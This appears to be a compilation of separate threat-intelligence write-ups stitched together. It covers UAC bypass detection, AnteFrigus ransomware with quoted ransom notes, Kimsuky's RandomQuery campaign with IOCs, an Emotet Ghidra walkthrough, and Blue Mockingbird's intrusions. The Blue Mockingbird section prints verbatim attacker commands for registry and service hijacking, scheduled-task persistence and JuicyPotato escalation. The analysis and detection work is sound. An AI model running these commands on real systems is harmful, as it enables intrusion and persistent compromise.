The DLL hijack method usually consists of finding a missing DLL (often a missing dependency) or winning a DLL file write race by loading a malicious DLL into an elevated process. If UAC is enabled but not set to Always Notify, then malware can perform an elevated IFileOperation (no UAC prompt) to create/copy/rename or move a DLL file to a trusted path (i.e., `System32`), then trigger an elevated program to load the malicious DLL instead of the expected one.
We can use the following EQL correlation to link any file operation by `dllhost.exe` followed by loading a non-Microsoft signed DLL into a process running with system integrity:
```plaintext
EQL search - UAC bypass via IFileOperation (Medium to System Integrity)
sequence by host.id
[file where event.action in ("creation", "overwrite", "rename", "modification") and
process.name : "dllhost.exe" and user.id : "S-1-5-21-*" and
(file.extension : "dll" or file.Ext.header_bytes : "4d5a*") and
file.path : ("?:\\Windows\\system32\\*", "?:\\Windows\\syswow64\\*", "?:\\Program Files (x86)\\Microsoft\\*", "?:\\Program Files\\Microsoft\\*")] by file.path
[library where
user.id : "S-1-5-18" and
process.executable : ("?:\\Windows\\system32\\*", "?:\\Windows\\syswow64\\*", "?:\\Program Files (x86)\\Microsoft\\*", "?:\\Program Files\\Microsoft\\*") and
not (dll.code_signature.subject_name : "Microsoft *" and dll.code_signature.trusted == true)] by dll.path
```
If UAC is set to Always Notify, then finding a missing DLL or winning a file write race condition into a path writable by a Medium integrity process is a valid option. Another DLL Hijack primitive that can achieve the same goal is to use DLL loading redirection via creating a folder within the same directory of the targeted elevated program (e.g., `target_program.exe.local`) and dropping a DLL there that will be loaded instead of the expected one.
### Elevated COM Interface
This method relies on finding an elevated COM interface that exposes some form of execution capabilities (i.e., CreateProcess / ShellExec wrapper) that can be invoked to launch a privileged program passed via arguments from a medium integrity process. From a behavior perspective, those COM interfaces will be executed under the context of `dllhost.exe` (COM Surrogate) with `process.command_line` containing the classId of the targeted COM object, resulting in the creation of a high integrity child process.
### Token Security Attributes
An insightful observation was made regarding the possibility of leveraging process token security attributes to identify processes launched as descendants of an auto-elevated application. The `LUA://HdAutoAp` attribute means it’s an auto-elevated application. `LUA://DecHdAutoAp` means it’s a descendant of an auto-elevated application, which is useful when tracking the process tree generated via a UAC bypass.
### Detection Evasion
A good number of evasion techniques that are not limited to UAC bypass were discussed, such as renaming a folder or registry key, registry symbolic links to break detection logic based on specific file path/registry key changes, or correlation of different events by the same process.
### Most Common UAC Bypasses
Malware families in use in the wild constantly shift and change. Below is a quick overview of the top commonly observed UAC bypass methods used by malware families:
| Method | Malware Family |
|-----------------------------------------------------------------------|----------------------------------------|
| UAC Bypass via ICMLuaUtil Elevated COM Interface | DarkSide, LockBit, TrickBot |
| UAC Bypass via ComputerDefaults Execution Hijack | ClipBanker, Quasar RAT |
| UAC Bypass via Control Panel Execution Hijack | AveMaria, Trojan.Mardom |
| UAC Bypass via DiskCleanup Scheduled Task Hijack | RedLine Stealer, Glupteba |
| UAC Bypass via FodHelper Execution Hijack | Glupteba, BitAT dropper |
| UAC Bypass Attempt via Windows Directory Masquerading | Remcos RAT |
### Conclusion
Designing detections by focusing on key building blocks of an offensive technique is much more cost-effective than trying to cover the endless variety of implementations and potential evasion tunings. In this post, we covered the main methods used for UAC bypass and how to detect them, as well as how enriching process execution events with token security attributes enabled us to create broader detection logic that may match unknown bypasses. |
# AnteFrigus Ransomware
Этот крипто-вымогатель шифрует данные пользователей с помощью AES, а затем требует выкуп в $1,995, который увеличивается через 4 дня до $3,990. Оригинальное название: AnteFrigus. На файле написано: нет данных.
## Обнаружения:
- DrWeb: Trojan.PWS.Siggen2.38675, Trojan.Encoder.30119
- BitDefender: Trojan.GenericKD.32711050
- ALYac: Trojan.Ransom.AnteFrigus
- Avira (no cloud): TR/Crypt.Agent.yyhfq
- ESET-NOD32: A Variant Of Win32/Kryptik.GYHS
- Kaspersky: Trojan.Win32.Zenpak.rbj
- Malwarebytes: Trojan.MalPack.GS
Генеалогия: AnteFrigus > Prometey
К зашифрованным файлам добавляется расширение: .<random>
**Внимание!** Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом.
Активность этого крипто-вымогателя пришлась на начало ноября 2019 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. Записка с требованием выкупа называется: `<random>-readme.txt`. Например: hssjyh-readme.txt, jbptlio-readme.txt.
## Содержание записки о выкупе:
[+] Whats Happen?
Ваши файлы зашифрованы и сейчас недоступны. Вы можете проверить это: все файлы на вашем компьютере имеют расширение hssjyh. Кстати, все можно восстановить (вернуть), но вы должны следовать нашим инструкциям. В противном случае вы не можете вернуть свои данные (НИКОГДА).
[+] What guarantees?
Это просто бизнес. Мы абсолютно не заботимся о вас и ваших сделках, кроме получения выгоды. Если мы не выполняем свою работу и обязательства - никто не будет сотрудничать с нами. Это не в наших интересах. Чтобы проверить возможность возврата файлов, вы должны зайти на наш сайт. Там вы можете бесплатно расшифровать один файл. Это наша гарантия. Если вы не будете сотрудничать с нашим сервисом - для нас это не имеет значения. Но вы потеряете свое время и данные, ведь только у нас есть закрытый ключ. На практике время гораздо ценнее денег.
[+] Как получить доступ на сайт?
У вас есть два пути:
1) [Рекомендуется] Использовать браузер TOR!
а) Загрузите и установите браузер TOR с этого сайта: https://torproject.org/
б) Откройте наш веб-сайт:
http://yboa7nidpv5jdtumgfm4fmmvju3ccxlleut2xvzgn5uqlbjd5n7p3kid.onion/
(Если вы не можете перейти по ссылке или по другим причинам, напишите на электронную почту технической поддержки: antefrigus@cock.li)
2) Если TOR заблокирован в вашей стране, попробуйте использовать VPN!
а) Откройте любой браузер (Chrome, Firefox, Opera, IE, Edge) и загрузите и установите бесплатную программу VPN и загрузите браузер TOR с этого сайта https://torproject.org/
б) Если у вас возникли трудности с покупкой биткойнов или вы сомневаетесь в покупке расшифровщика, обратитесь в любую компанию по восстановлению данных в вашей стране, которая предоставит вам больше гарантий и возьмет на себя процедуру покупки и расшифровки. Почти все такие компании слышали о нас и знают, что наша программа расшифровки работает, поэтому они могут вам помочь.
Когда вы открываете наш сайт, введите следующие данные в форму ввода:
Ключ: Pjg/ODo4PD08PD87OTg5Nyhoa3RwdShvenpxgG8oSkEnOTw8Njk4OidOaUM2aXlFJw==
Название расширения: hssjyh
**!!!ОПАСНОСТЬ!!!**
НЕ пытайтесь изменить файлы самостоятельно, НЕ используйте любую стороннюю программу для восстановления ваших данных или антивирусные решения - это может повлечь за собой повреждение личного ключа и, как результат, потерю всех данных.
ЕЩЕ РАЗ: В ваших интересах вернуть ваши файлы. Со своей стороны мы (лучшие специалисты) делаем все для восстановления, но, пожалуйста, не мешайте.
Записка о выкупе также сохраняется в специальной папке на диске C: C:\Instraction\
## Технические детали
Распространяется с помощью вредоносной рекламной кампании HookAds, вредоносная реклама которой теперь перенаправляет пользователей на веб-страницы с набором эксплойтов RIG. На инфицированном ПК разворачивается вредоносный элемент, который устанавливает шифровальщик AnteFrigus. В 2018 году HookAds распространяла GlobeImposter. На момент написания этой статьи рекламная кампания HookAds уже продолжается несколько лет (с 2016 года), и каждый день регистрируются новые мошеннические рекламные домены.
Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.
- В отличие от других вымогателей, AnteFrigus не предназначен для диска "C", а только для других дисков, в описанном примере его целями были съемные устройства и подключенные сетевые диски (буквы дисков из кода D:, E:, F:, G:, H:, I:).
- Для определения IP ПК используется сайт: xxxx://iplogger.org/10UJ73
## Список файловых расширений, подвергающихся шифрованию:
Все файлы, кроме пропускаемых. Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
**Пропускаемые типы файлов:**
.adv, .ani, .bat, .big, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .hta, .icl, .icns, .ico, .ics, .idx, .key, .ldf, .lnk, .lock, .mod, .mpa, .msc, .msi, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .pck, .prf, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx (49 расширений).
## Файлы, связанные с этим Ransomware:
- `<random>-readme.txt` - шаблон записки
- hssjyh-readme.txt - пример записки
- test.txt - файл для блокировки или отладки.
- rad26628.tmp.exe - пример названия вредоносного файла
- `<random>.tmp.exe` - шаблон названия вредоносного файла
## Расположения:
C:\Instraction\
\Desktop\ ->
\User_folders\ ->
\%TEMP%\ ->
## Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.
## Сетевые подключения и связи:
Tor-URL: xxxx://yboa7nidpv5jdtumgfm4fmmvju3ccxlleut2xvzgn5uqlbjd5n7p3kid.onion/
Email: antefrigus@cock.li
BTC: -
См. ниже в обновлениях другие адреса и контакты.
См. ниже результаты анализов.
## Результаты анализов:
- Hybrid analysis
- Intezer analysis
- ANY.RUN analysis
- VMRay analysis
- VirusBay samples
- MalShare samples
- AlienVault analysis
- CAPE Sandbox analysis
- JOE Sandbox analysis
**Степень распространённости:** низкая.
Подробные сведения собираются регулярно. Присылайте образцы.
## ИСТОРИЯ СЕМЕЙСТВА
## БЛОК ОБНОВЛЕНИЙ
**Обновление от 10 февраля 2020:**
Расширения: .eaaeee, .bbadc
Записки: CLICK_HERE-eaaeee.txt, CLICK_HERE-bbadc.txt
URL: xxxxs://recovery-help.top/online-chat/
Tor-URL: xxxx://i6jppiczqa5moqf157gssi33npwfseqppdsnz7rriiv7suf4pf4w42id.onion
Результаты анализов: VT + IA + VMR
**Обновление от 30 марта 2020:**
Расширения: .aceadf, .daaefc, .feeef
Записки: ATTENTION-aceadf-README.txt, ATTENTION-daaefc-README.txt, ATTENTION-feeef-README.txt
URL: xxxx://restore-now.top/online-chat/
Tor-URL: xxxx://i6jppiczqa5moqfl57gssi33npwfseqppdsnz7rriiv7suf4pf4w42id.onion
Файл EXE: directx_update.exe
Результаты анализов: VT + AR + IA + VMR + TG
**Содержание записки:**
Sorry, but your files are locked due to a critical error in your system. If you yourself want to decrypt the files - you will lose them FOREVER. You have to pay BITCOINS to get your file decoder. DO NOT TAKE TIME, you have SEVERAL DAYS to pay, otherwise the cost of the decoder will double. How to do it is written below. If you cannot do it yourself, then search the Internet for file recovery services in your country or city. Go to the page through the browser: http://restore-now.top/online-chat/ If your site does not open, then download the TOR browser (https://torproject.org/). If you can’t access the download page of the TOR browser, then download the VPN! After you install the TOR browser on your computer go to the site: http://i6jppiczqa5moqfl57gssi33npwfseqppdsnz7rriiv7suf4pf4w42id.onion After going to the site, enter the information: Your ID: 32476***** Personal key: a2hobG1qKGhrdHB1KDo5Oz49OTk4PTcoSkEnOTw8Njk5OCdOa*****== Your Email
**Обновление от 19 января 2020:**
Результаты анализов: VT + IA
## БЛОК ССЫЛОК и СПАСИБОК
**Thanks:**
GrujaRS, mol69, Michael Gillespie, Lawrence Abrams, Andrew Ivanov (author), Emmanuel_ADC-Soft, S!Ri, to the victims who sent the samples.
© Amigo-A (Andrew Ivanov): All blog articles. |
# Kimsuky | Ongoing Campaign Using Tailored Reconnaissance Toolkit
**By Aleksandar Milenkoski and Tom Hegel**
## Executive Summary
SentinelLabs has observed an ongoing campaign by Kimsuky, a North Korean APT group, targeting North Korea-focused information services, human rights activists, and DPRK-defector support organizations. The campaign focuses on file reconnaissance and information exfiltration using a variant of the RandomQuery malware, enabling subsequent precision attacks. Kimsuky distributes RandomQuery using Microsoft Compiled HTML Help (CHM) files, their long-running tactic for delivering diverse sets of malware. Kimsuky strategically employs new TLDs and domain names for malicious infrastructure, mimicking standard .com TLDs to deceive unsuspecting targets and network defenders.
## Overview
SentinelLabs has been tracking a targeted campaign against information services, as well as organizations supporting human rights activists and defectors in relation to North Korea. The campaign focuses on file reconnaissance and exfiltrating system and hardware information, laying the groundwork for subsequent precision attacks. Based on the infrastructure used, malware delivery methods, and malware implementation, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.
Kimsuky is a suspected North Korean advanced persistent threat (APT) group known for targeting organizations and individuals on a global scale. Active since at least 2012, the group regularly engages in targeted phishing and social engineering campaigns to collect intelligence and gain unauthorized access to sensitive information, aligning with the interests of the North Korean government.
Lately, Kimsuky has been consistently distributing custom malware as part of reconnaissance campaigns to enable subsequent attacks. For example, we recently revealed the group’s distribution of ReconShark through macro-enabled Office documents. The campaign we discuss in this post indicates a shift towards using a variant of the RandomQuery malware that has the single objective of file enumeration and information exfiltration. This stands in contrast to recently observed RandomQuery variants supporting a wider array of features, such as keylogging and execution of further specialized malware. RandomQuery is a constant staple in Kimsuky’s arsenal and comes in various flavors. This campaign specifically uses a VBScript-only implementation. The malware’s ability to exfiltrate valuable information, such as hardware, operating system, and file details, indicates its pivotal role in Kimsuky’s reconnaissance operations for enabling tailored attacks.
This campaign also demonstrates the group’s consistent approach of delivering malware through CHM files, such as keylogging and clipboard content theft malware. In line with their modus operandi, Kimsuky distributes the RandomQuery variant we observed through this vector. Finally, this campaign highlights Kimsuky’s recent extensive use of less common top-level domains (TLDs) for their infrastructure, such as .space, .asia, .click, and .online. The group also uses domain names that mimic standard .com TLDs, aiming to appear legitimate.
## Initial Targeting
Kimsuky makes use of specially crafted phishing emails to deploy RandomQuery. The phishing emails are sent to targets from an account registered at the South Korean email provider Daum, a standard Kimsuky phishing practice. Recent sender email addresses include bandi00413[@]daum.net. The phishing emails, written in Korean, request the recipient to review an attached document claiming to be authored by Lee Kwang-baek, the CEO of Daily NK. Daily NK is a prominent South Korean online news outlet that provides independent reporting on North Korea, making them a prime organization for impersonation by DPRK threat actors looking to appear legitimate.
The attached document is a CHM file stored in a password-protected archive. Aligning with the targeting focus of Kimsuky in this campaign, the lure document is entitled “Difficulties in activities of North Korean human rights organizations and measures to vitalize them” and presents a catalog of challenges pertaining to human rights organizations.
Consistent with known Kimsuky tactics, the CHM file contains a malicious Shortcut object that activates on the Click event. The object:
- Creates a Base-64 encoded file in the %USERPROFILE%\Links\ directory, such as mini.dat.
- Decodes the file using the certutil utility, creating a VB script, and then stores the script in a separate file, such as %USERPROFILE%\Links\mini.vbs.
- Establishes persistence by editing the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, such that the newly created VB script is executed at system startup.
The VB script issues an HTTP GET request to a C2 server URL, for example, http[://]file.com-port.space/indeed/show[.]php?query=50, and executes the second-stage payload returned from the server. Based on overlaps in code documented in previous work, we assess that the second-stage payload is a VBScript RandomQuery variant.
## Dissecting RandomQuery
The RandomQuery variant that Kimsuky distributes first configures the Internet Explorer browser by editing registry values under HKCU\Software\Microsoft\Internet Explorer\Main:
- Sets Check_Associations to no: The system does not issue a notification if Internet Explorer is not the default web browser.
- Sets DisableFirstRunCustomize to 1: Prevents Internet Explorer from running the First Run wizard the first time a user starts the browser.
RandomQuery also sets the registry value HKCU\Software\Microsoft\Edge\IEToEdge\RedirectionMode to 0, which stops Internet Explorer from redirecting to the Microsoft Edge browser. These Internet Explorer configurations enable the uninterrupted use of the browser by RandomQuery, whose earlier variants are known to use the InternetExplorer.Application object when communicating with C2 servers. However, the RandomQuery variant we analyzed does not use this object, but leverages Microsoft.XMLHTTP for this purpose.
RandomQuery then proceeds to gather and exfiltrate information about the infected platform, structured into three classes that the malware refers to as Basic System, Specific Folder, and Process List. The malware first gathers system and hardware information using the Win32_ComputerSystem, Win32_OperatingSystem, and Win32_Processor WMI classes, such as: computer name, processor speed, OS version, and the amount of physical memory available to the system. RandomQuery refers to this information as Basic System information.
RandomQuery then enumerates subdirectories and files within particular directories by specifying them using ID numbers of the Windows ShellSpecialFolderConstants enumeration: Desktop (ID 0); Documents (ID 5, for example, C:\Users\[username]\Documents); Favorites (ID 6, for example, C:\Documents and Settings\[username]\Favorites); Recent (ID 8, for example, C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Recent); Program Files (ID 38, for example, C:\Program Files); Program Files (x86) (ID 42, for example, C:\Program Files (x86) on 64-bit platforms); and %USERPROFILE%\Downloads (ID 40, for example, C:\Users\[username]\Downloads). The malware refers to this information as Specific Folder information: It provides the attackers with a wealth of user- and platform-related information, such as installed applications, user document details, and frequented websites.
RandomQuery also enumerates the process and session IDs of running processes using the Win32_Process WMI class. The malware refers to this information as Process List information. To exfiltrate the gathered information, RandomQuery first Base64-encodes it, and then constructs and issues an HTTP POST request containing the information to a C2 server URL (for example, http[://]file.com-port.space/indeed/show[.]php?query=97). We observed that the C2 URLs RandomQuery uses for exfiltration overlap with the URLs from which RandomQuery itself is downloaded, with a difference in the value of the query parameter.
The variants we analyzed use c2xkanZvaXU4OTA as a boundary string separating header values from the exfiltrated information stored in the POST request. Pivoting on this string enabled us to identify additional RandomQuery variants used by Kimsuky in the past. This is a further indication of the threat group consistently using this malware in its targeted campaigns. These variants differ to various extents from those we observed in Kimsuky’s latest campaign. This includes features such as enumeration of deployed security products, focus on Microsoft Word documents when enumerating files, and execution of additional malicious code. Kimsuky continuously adapts its RandomQuery arsenal to the task at hand, with the current iteration focusing on information exfiltration and file reconnaissance.
## Infrastructure
Kimsuky has made extensive use of less common TLDs during their malicious domain registration process. In our recent reporting on Kimsuky’s ReconShark activity, we noted multiple clusters of malicious domains which made use of the same technique. This latest campaign is tied to infrastructure abusing the .space, .asia, .click, and .online TLDs, combined with domain names mimicking standard .com TLDs. Noteworthy examples include com-def[.]asia, com-www[.]click, and com-otp[.]click. Placed into a full URL path, an average user is less likely to spot obvious suspicious links.
For this latest campaign, the threat actor used the Japan-based domain registration service Onamae for primary malicious domain purchasing. This particular cluster of activity began on May 5th, 2023, and continues as of this report. ABLENET VPS Hosting is used by the actor following domain registration.
## Conclusion
We continue to closely monitor the persistent attacks carried out by Kimsuky and its continuously advancing attack toolkit. These incidents underscore the ever-changing landscape of North Korean threat groups, whose remit not only encompasses political espionage but also sabotage and financial threats. It is imperative for organizations to familiarize themselves with the TTPs employed by suspected North Korean state-sponsored APTs and to adopt appropriate measures to safeguard against such attacks. The correlation between recent malicious activities and a broader range of previously undisclosed operations attributed to North Korea emphasizes the importance of maintaining a state of constant alertness and fostering collaborative efforts.
## Indicators of Compromise
### SHA1 Hashes
- 96d29a2d554b36d6fb7373ae52765850c17b68df
- 84398dcd52348eec37738b27af9682a3a1a08492
- 912f875899dd989fbfd64b515060f271546ef94c
- 49c70c292a634e822300c57305698b56c6275b1c
- 8f2e6719ce0f29c2c6dbabe5a7bda5906a99481c
- 0288140be88bc3156b692db2516e38f1f2e3f494
### Domains
- com-port[.]space
- com-pow[.]click
- com-def[.]asia
- com-www[.]click
- com-otp[.]click
- com-price[.]space
- de-file[.]online
- com-people[.]click
- kr-angry[.]click
- kr-me[.]click
- cf-health[.]click
- com-hwp[.]space
- com-view[.]online
- com-in[.]asia
- ko-asia[.]click
- db-online[.]space |
# Analyzing Emotet with Ghidra — Part 1
This post I’ll show how I used Ghidra in analyzing a recent sample of Emotet. If you have read this, here is Part 2.
**SHA256:**
The analysis is done on the unpacked binary file. In this post I’m skipping how I unpacked the file, since what I primarily want to show is how I used Ghidra’s python scripting manager to decrypt strings and API calls.
## Some short descriptions:
**What is Ghidra?**
It is an open source reverse engineering tool suite.
**Why Emotet?**
Emotet is a prevalent malware. Started out as a banking trojan. It is persistent and keeps evolving its infection mechanisms.
**Why Ghidra and Emotet?**
For starters, I am looking for a new gig (a.k.a unemployed) and hence cannot afford an IDA license. Plus, I want to continue being a Malware Analyst. Using the free version is still amazing, but I miss not being able to use IDA Python. I did use IDA’s own scripting language IDC but…I like python. Implemented just one of the functions of Emotet.
## Opening up Emotet with Ghidra
Ghidra is about creating projects. Following the on-screen instructions, I created a project named “Emotet”. To add files to analyze into the project, simple type or go to import.
1. **Imported Emotet binary**
Ghidra displays properties regarding the file that gets imported. Double click on the file name and it opens it up in CodeBrowser, which is a tool that disassembles the file.
2. **Emotet view in CodeBrowser**
Under the Symbol Tree (usually on the left), I filtered for “entry” to get to the binary’s entry point.
3. **Entry Point of Emotet**
Under Listing, we see the compiled code and on the right is its decompiled code. Since I’ve already analyzed these binaries, some of the subroutine calls and offsets in these images will have been renamed by me. To rename an offset, right-click an offset value and select rename.
## Emotet’s Function Calls
Emotet encrypts its strings and stores its API call names as hashes. So statically viewing this file is a pain to read. Without going into much detail about Emotet’s payload (that would require another blog entry), I will show how to make this binary a bit more easy to follow. It does require to initially go through each function and figure out the math (possibly using a debugger to make it a little less painful).
In this case, I wanted to figure out 2 methods used by Emotet. The first function is a simple XOR routine that it uses to decrypt strings. It looked deceivingly complex (because of the use of shift operators in the function), only until after running one iteration did I realize what was happening. The second function finds which API name matches which hash (I will cover this in Part 2). This I felt was a bit more clever, but still easy to understand after running in a debugger.
Then using Ghidra’s Script Manager, I’ll show how I implemented the python scripts to decrypt the strings and resolve the API calls used in the binary.
## How are the Strings encrypted?
In the binary, I’ve noticed a lot of references to the function call `decode_strings`. This call decrypts the strings. I renamed it to `decode_strings`. To find references made to the function, right-click the function and select references.
5. **Call being made to decode_strings**
The function takes in 2 arguments that are stored in registers. The first is the offset of the encrypted string. The second is the XOR key. The decrypted string gets stored in memory allocated in the heap and the address gets passed to another function.
(Side Track: I have added the string “ecx = offset \n edx = key” as a repeatable comment to the function. Right-click the address and select add comment.)
The first DWORD at the offset XOR’ed with the key returned the length of the string. The next subsequent set of DWORDs were XOR’ed up until the string’s length.
Now for the more exciting part, automating this with a python script in Ghidra.
6. **Script Manager Icon**
In the top toolbar section of Ghidra, we see the Script Manager icon. It takes us to the Script Manager.
7. **Script manager**
The Script Manager displays a list of scripts written in either Java or Python. They come with the installation. The script manager also has some python script examples. So, I filtered for .py scripts to help me understand how to proceed in writing a python script. The Python Interpreter interacts with Ghidra’s Java API through Jython. The documentation on the Java APIs provided can be found in a zipped file in the docs directory of your Ghidra installation.
8. **Create new script icon**
To create a new python script, select the create new script icon. Select Python and enter a name you’d like to give to your script.
9. **Decrypted string displayed as comment**
The idea behind the script is to display the strings that get decrypted as comments next to the instruction where its offset is moved to.
10. **Bytes patched in the binary**
And as well to patch the bytes in the binary.
First step, I wanted to find all the code references made to the function. Iterating through each reference, the next step was locating the opcode instructions. The instructions weren’t always immediately before the call to the function. So I iterated through a max of 100 instructions to search for the opcodes. After that, I was all set to carry out the XOR routine and patch the bytes and comment at the instruction offset where it was carried out. |
# Blue Mockingbird: Cryptocurrency Mining Activity
Blue Mockingbird is the name given to a cluster of similar activity observed involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. They achieve initial access by exploiting public-facing web applications, specifically those that use Telerik UI for ASP.NET, followed by execution and persistence using multiple techniques.
## Gaining Entry
In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications that implemented Telerik UI for ASP.NET AJAX. This suite of user interface components accelerates the web development process, but some versions are susceptible to a deserialization vulnerability, CVE-2019-18935. The exploitation of this CVE is not unique to Blue Mockingbird, but it has been a common point of entry.
In exploiting this vulnerability, two DLLs are uploaded to a web application running on a Windows IIS web server. In telemetry, investigators will notice `w3wp.exe` writing the DLLs to disk and then immediately loading them into memory afterward. In some cases, this will cause `w3wp.exe` to temporarily freeze and fail to successfully serve HTTP responses.
For a diagnostic to determine whether you are potentially affected by the Telerik CVE, you can search the IIS access logs for the string `POST Telerik.Web.UI.WebResource.axd`. In victim environments, our IR partners found entries similar to these:
```
2020-04-29 02:01:24 10.0.0.1 POST /Telerik.Web.UI.WebResource.axd type=rau 80 - <external IP address> Mozilla/5.0+ (Windows+NT+10.0;+Win64;+x64;+rv:54.0)+Gecko/20100101+Firefox/54.0 - 200 0 0 625
2020-04-29 02:01:27 10.0.0.1 POST /Telerik.Web.UI.WebResource.axd type=rau 80 - <external IP address> Mozilla/5.0+ (Windows+NT+10.0;+Win64;+x64;+rv:54.0)+Gecko/20100101+Firefox/54.0 - 500 0 0 46
```
In the entries, the string `200` refers to HTTP response code 200 where the POST request was successful, and the string `500` refers to HTTP code 500 where the POST request was not processed successfully by the web server. These code 500 entries happened when the `w3wp.exe` process loaded the uploaded DLLs into memory and temporarily froze.
Searching the IIS access logs for entries like these is a good idea even if you don’t explicitly know whether you use Telerik UI, as some web applications require the suite as a dependency behind the scenes.
If you have endpoint detection and response (EDR) or similar tools, you’ll notice `cmd.exe` or other suspicious processes spawning from `w3wp.exe`.
## Execution and Evasion
The primary payload distributed by Blue Mockingbird is a version of XMRIG packaged as a DLL. XMRIG is a popular, open-source Monero-mining tool that adversaries can easily compile into custom tooling. During the incidents, three distinct uses were noted.
The first use was execution with `rundll32.exe` explicitly calling the DLL export `fackaaxv`. This export seems unique to this actor’s payloads and doesn’t seem to happen other places in the wild:
```
rundll32.exe dialogex.dll,fackaaxv
```
The next use was execution using `regsvr32.exe` with the `/s` command-line option. Supplying the `/s` switch executes the `DllRegisterServer` export exposed by the DLL payload. This export ultimately passed control of execution into the function that `fackaax` exported:
```
regsvr32.exe /s dialogex.dll
```
The final execution path was with the payload configured as a Windows Service DLL. Once configured, execution of the service invoked the export `ServiceMain`, which again passed control to `fackaaxv`.
## Persistence Techniques
Blue Mockingbird leveraged multiple techniques for persistence during incidents. The most novel technique was the use of a `COR_PROFILER` COM hijack to execute a malicious DLL and restore items removed by defenders. To use `COR_PROFILER`, they used `wmic.exe` and Windows Registry modifications to set environment variables and specify a DLL payload.
```
wmic ENVIRONMENT where "name='COR_PROFILER'" delete
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="<system>",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="<system>",VariableValue="<arbitrary CLSID>"
REG.EXE ADD HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<arbitrary CLSID>\InProcServer32 /V ThreadingModel /T REG_SZ /D Apartment /F
REG.EXE ADD HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<arbitrary CLSID>\InProcServer32 /VE /T REG_SZ /D "c:\windows\System32\e0b3489da74f.dll" /F
```
The payload DLL specified as a `COR_PROFILER` was simple and gathered few antivirus detections. It executed the following command:
```
cmd.exe /c sc config wercplsupport start= auto && sc start wercplsupport && copy c:\windows\System32\dialogex.dll c:\windows\System32\wercplsupporte.dll /y && schtasks /create /tn "Windows Problems Collection" /tr "regsvr32.exe /s c:\windows\System32\wercplsupporte.dll" /sc DAILY /st 20:02 /F /RU System && start "" regsvr32.exe /s c:\windows\System32\dialogex.dll
```
Since `COR_PROFILER` was configured, every process that loaded the Microsoft .NET Common Language Runtime would execute the command above, re-establishing persistence. The command configured the Windows Problem Reports and Solutions Control Panel Support service to execute automatically at boot. In a separate command, the actor modified the existing `wercplsupport` service to use the miner DLL instead of the legitimate one:
```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wercplsupport\Parameters" /f /v ServiceDll /t REG_EXPAND_SZ /d "c:\windows\System32\wercplsupporte.dll"
```
Note that the actor used the DLL name `wercplsupporte.dll` as an attempt to masquerade as the legitimate DLL name, which is `wercplsupport.dll`. In addition, more masquerading was used to make malicious Scheduled Tasks blend in with legitimate ones.
In some cases, the actor even created a new service to perform the same actions as the `COR_PROFILER` payload:
```
sc create 8995 binPath= "cmd /c sc config wercplsupport start= auto & sc start wercplsupport & copy c:\windows\System32\8995.dll c:\windows\System32\wercplsupporte.dll /y & regsvr32.exe /s c:\windows\System32\8995.dll" type= share start= auto error= ignore DisplayName= 8995
```
## Escalating Privileges and Accessing Credentials
It’s worth noting that Blue Mockingbird’s initial access does not provide the privileges needed to establish the many persistence mechanisms used. In one engagement, the adversary used a JuicyPotato exploit to escalate privileges from an IIS Application Pool Identity virtual account to the `NT Authority\SYSTEM` account. JuicyPotato allows an attacker to abuse the `SeImpersonate` token privilege and Windows DCOM to move from an unprivileged account to the highest level of privilege on a system. During this engagement, the attacker abused a DCOM class and leveraged the IIS Application Pool Identity’s `SeImpersonate` privilege to perform the escalation:
```
c:\programdata\let.exe -t t -p c:\programdata\rn.bat -l 1234 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
```
In another engagement, the adversary used Mimikatz (the official signed version) to access credentials for logon.
## Free to Move Around the Network
As with other adversaries that mine cryptocurrency opportunistically, Blue Mockingbird likes to move laterally and distribute mining payloads across an enterprise. They move laterally using a combination of the Remote Desktop Protocol to access privileged systems and Windows Explorer to distribute payloads to remote systems. In some cases, Scheduled Tasks were created remotely to ensure execution:
```
schtasks /create /tn "setup service Management" /tr "c:\windows\temp\rn.bat" /sc ONCE /st 00:00 /F /RU System /S remote_host
```
## A Look at Command and Control
A novel aspect of this adversary is that their toolkit does not appear to be fully defined. In at least one engagement, Blue Mockingbird seemingly experimented with different tools to create SOCKS proxies for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom. In one instance, the adversary tinkered with PowerShell reverse TCP shells and a reverse shell in DLL form.
## Take Action
We’ve scratched the surface on the XMRIG DLL payload, but we can dive deeper to understand more details. First, the export `fackaaxv` has been consistently present in the DLLs. Next, each DLL also contains a PE binary section `_RANDOMX`. This section appears unique to cryptocurrency-mining payloads because it houses the RandomX proof of work algorithm that XMRIG may use. The network connections made for mining usually involve a `nanopool[.]org` domain.
We made the assessment that the payload was actually XMRIG based on several pieces of evidence. First, there were multiple references to “xmrig”, including version numbers, in the binary strings. These were accompanied by cleartext references to command-line options common to XMRIG:
- `coin`
- `donate-level`
- `max-cpu-usage`
- `cpu-priority`
- `log-file`
The final piece of evidence came from a text log written to disk by some versions of the miner DLL. In the text logs, identifying information for XMRIG was output alongside hardware details for the victim system.
```
* ABOUT XMRig/5.3.0 MSVC/2015
* LIBS libuv/1.31.0 OpenSSL/1.1.1c hwloc/2.1.0
* HUGE PAGES unavailable
* 1GB PAGES unavailable
* CPU Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (1) x64 AES
* L2:0.3 MB L3:8.0 MB 1C/1T NUMA:1
